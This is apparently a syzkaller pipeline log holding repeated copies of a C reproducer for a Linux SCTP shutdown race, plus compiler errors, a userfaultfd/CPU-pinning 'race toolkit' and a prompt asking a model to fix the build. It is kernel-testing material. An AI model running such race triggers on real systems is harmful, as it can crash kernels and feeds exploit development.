    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}]

map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}
<stdin>:9:10: fatal error: netinet/sctp.h: No such file or directory
compilation terminated.

compiler invocation: gcc [-o /tmp/syz-executor250191574 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]

map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}
<stdin>:9:10: fatal error: netinet/sctp.h: No such file or directory
compilation terminated.

compiler invocation: gcc [-o /tmp/syz-executor250191574 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]

deep-reasoning

You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.

C Program:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
